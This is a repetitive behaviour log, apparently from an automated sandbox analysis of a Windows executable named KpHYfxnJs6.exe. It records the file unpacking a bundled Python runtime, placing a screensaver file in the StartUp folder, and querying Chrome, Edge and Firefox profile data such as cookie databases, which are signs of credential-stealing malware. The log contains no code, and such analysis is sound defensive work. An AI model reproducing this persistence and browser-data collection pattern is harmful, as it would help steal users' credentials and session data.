Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\Desktop\KpHYfxnJs6.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\Desktop\KpHYfxnJs6.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\Desktop\KpHYfxnJs6.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\Desktop\KpHYfxnJs6.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\Desktop\KpHYfxnJs6.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\Desktop\KpHYfxnJs6.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\Desktop\KpHYfxnJs6.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\Desktop\KpHYfxnJs6.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\Desktop\KpHYfxnJs6.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\Desktop\KpHYfxnJs6.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\Desktop\KpHYfxnJs6.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73202 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\Desktop\KpHYfxnJs6.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\Desktop\KpHYfxnJs6.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\Desktop\KpHYfxnJs6.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\Desktop\KpHYfxnJs6.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\Desktop\KpHYfxnJs6.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\Desktop\KpHYfxnJs6.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\Desktop\KpHYfxnJs6.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73202 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\Desktop\KpHYfxnJs6.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\Desktop\KpHYfxnJs6.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73202 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\Desktop\KpHYfxnJs6.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\Desktop\KpHYfxnJs6.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\Desktop\KpHYfxnJs6.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\Desktop\KpHYfxnJs6.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73202 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73202 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73202 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\Desktop\KpHYfxnJs6.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\Desktop\KpHYfxnJs6.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\Desktop\KpHYfxnJs6.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\Desktop\KpHYfxnJs6.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73202 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73202\_hashlib.pyd VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\Desktop\KpHYfxnJs6.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\Desktop\KpHYfxnJs6.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\Desktop\KpHYfxnJs6.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\Desktop\KpHYfxnJs6.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\Desktop\KpHYfxnJs6.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\Desktop\KpHYfxnJs6.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\Desktop\KpHYfxnJs6.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\Desktop\KpHYfxnJs6.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73202\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73202\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73202 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73202\_queue.pyd VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\Desktop\KpHYfxnJs6.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\Desktop\KpHYfxnJs6.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\Desktop\KpHYfxnJs6.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\Desktop\KpHYfxnJs6.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\Desktop\KpHYfxnJs6.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73202 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73202 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\Desktop\KpHYfxnJs6.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\Desktop\KpHYfxnJs6.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73202 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\Desktop\KpHYfxnJs6.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\Desktop\KpHYfxnJs6.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\Desktop\KpHYfxnJs6.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\Desktop\KpHYfxnJs6.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\Desktop\KpHYfxnJs6.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73202 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\Desktop\KpHYfxnJs6.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\Desktop\KpHYfxnJs6.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\Desktop\KpHYfxnJs6.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\Desktop\KpHYfxnJs6.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\Desktop\KpHYfxnJs6.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\Desktop\KpHYfxnJs6.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\Desktop\KpHYfxnJs6.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\Desktop\KpHYfxnJs6.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73202 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\Desktop\KpHYfxnJs6.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\Desktop\KpHYfxnJs6.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\Desktop\KpHYfxnJs6.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\Desktop\KpHYfxnJs6.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\Desktop\KpHYfxnJs6.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73202 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\Desktop\KpHYfxnJs6.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\Desktop\KpHYfxnJs6.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\Desktop\KpHYfxnJs6.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\Desktop\KpHYfxnJs6.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\Desktop\KpHYfxnJs6.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73202\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73202\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\Desktop\KpHYfxnJs6.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73202 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73202\unicodedata.pyd VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\Desktop\KpHYfxnJs6.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\Desktop\KpHYfxnJs6.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ ??.scr VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\Desktop\KpHYfxnJs6.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\AppData\Local\Temp VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessibility VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\7-Zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessibility VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\System Tools VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Administrative Tools VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\AutoIt v3 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\AutoIt v3\Extras VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\AutoIt v3\Extras\AutoItX VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\AutofillStates VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\BrowserMetrics VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\AutofillStates VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\CertificateRevocation VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\AutofillStates VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\CommerceHeuristics VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Crashpad\attachments VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Crashpad\attachments VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Crashpad\attachments VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Crashpad\reports VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Crowd Deny VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\AutofillStrikeDatabase VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\AutofillStrikeDatabase VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\blob_storage VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\blob_storage VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\AutofillStrikeDatabase VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\blob_storage\fccd7e85-a1ff-4466-9ff5-c20d62f6e0a2 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\blob_storage VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\blob_storage\fccd7e85-a1ff-4466-9ff5-c20d62f6e0a2 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\blob_storage\fccd7e85-a1ff-4466-9ff5-c20d62f6e0a2 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\BudgetDatabase VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Cache VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\BudgetDatabase VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\BudgetDatabase VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Code Cache VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\content-prefs.sqlite VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js\index-dir VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Cache VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js\index-dir VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js\index-dir VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Code Cache\wasm VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Code Cache\wasm\index-dir VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessibility VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\System Tools VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Windows PowerShell VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\commerce_subscription_db VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Code Cache\wasm VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\CertificateRevocation VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\coupon_db VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Code Cache\wasm\index-dir VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\7-Zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\databases VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\commerce_subscription_db VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Code Cache\wasm VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\DawnCache VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Code Cache\wasm\index-dir VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\favicons.sqlite VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Crashpad VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Crashpad\attachments VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Download Service\EntryDB VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Download Service\EntryDB VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Crashpad\reports VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\System Tools VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Download Service\Files VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension Rules VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\AutoIt v3\Extras\AutoItX VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\System Tools VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Cache VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\commerce_subscription_db VolumeInformation	Jump to behavior
